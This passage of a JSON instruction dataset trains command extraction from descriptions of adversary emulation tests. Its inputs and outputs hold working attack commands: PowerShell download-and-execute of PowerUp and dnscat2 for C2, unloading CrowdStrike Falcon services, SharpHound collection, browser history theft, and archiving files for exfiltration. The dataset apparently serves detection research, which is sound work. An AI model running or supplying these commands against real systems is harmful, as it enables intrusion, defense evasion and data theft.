collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell test reveals domain information when executed, though errors may appear on non-domain machines, with the command: get-ADPrincipalGroupMembership #{user} | select name",
    "output": "{\"command_list\": [\"get-ADPrincipalGroupMembership #{user} | select name\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate adding a non-malicious certificate to the CurrentUser store, which creates registry modifications in paths like \\SystemCertificates\\CA\\Certificates, run the following command: IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \n",
    "output": "{\"command_list\": [\"IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    On macOS systems, you can halt the Crowdstrike Falcon services by executing this command: sudo launchctl unload #{falcond_plist}\nsudo launchctl unload #{userdaemon_plist}\n",
    "output": "{\"command_list\": [\"sudo launchctl unload #{falcond_plist}\\nsudo launchctl unload #{userdaemon_plist}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After configuring your listener and DNS records as prerequisites, you can start a DNS-based C2 session with the command:\nIEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')\nStart-Dnscat2 -Domain #{domain} -DNSServer #{server_ip}\n",
    "output": "{\"command_list\": [\"IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')\\nStart-Dnscat2 -Domain #{domain} -DNSServer #{server_ip}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To compress collected data before exfiltration, use the following command: \"#{rar_exe}\" a -r #{output_file} #{input_path}\\*#{file_extension}\n",
    "output": "{\"command_list\": [\"\\\"#{rar_exe}\\\" a -r #{output_file} #{input_path}\\\\*#{file_extension}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Leveraging the stratus-red-team tool, this test mimics an attacker trying to access RDP passwords on Windows EC2 instances without proper permissions by executing: export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting warmup\"\n./stratus warmup aws.credential-access.ec2-get-password-data\necho \"starting detonate\"\n./stratus detonate aws.credential-access.ec2-get-password-data --force",
    "output": "{\"command_list\": [\"export AWS_REGION=#{aws_region} \\ncd #{stratus_path}\\necho \\\"starting warmup\\\"\\n./stratus warmup aws.credential-access.ec2-get-password-data\\necho \\\"starting detonate\\\"\\n./stratus detonate aws.credential-access.ec2-get-password-data --force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can extract the current user's Microsoft Edge history with the following multi-line command:\n$URL_Regex = '(htt(p|s))://([\\w-]+\\.)+[\\w-]+(/[\\w- ./?%&=]*)*?'\n$History = Get-Content -Path \"#{history_path}\" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique\n$History | Out-File -FilePath \"#{dest_path}\"",
    "output": "{\"command_list\": [\"$URL_Regex = '(htt(p|s))://([\\\\w-]+\\\\.)+[\\\\w-]+(/[\\\\w- ./?%&=]*)*?'\\n$History = Get-Content -Path \\\"#{history_path}\\\" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique\\n$History | Out-File -FilePath \\\"#{dest_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To split a file or directory into 5MB chunks and list the contents of the folder, use the following command: cd #{folder_path}; split -b 5000000 #{file_name}\nls -l #{folder_path}",
    "output": "{\"command_list\": [\"cd #{folder_path}; split -b 5000000 #{file_name}\\nls -l #{folder_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that 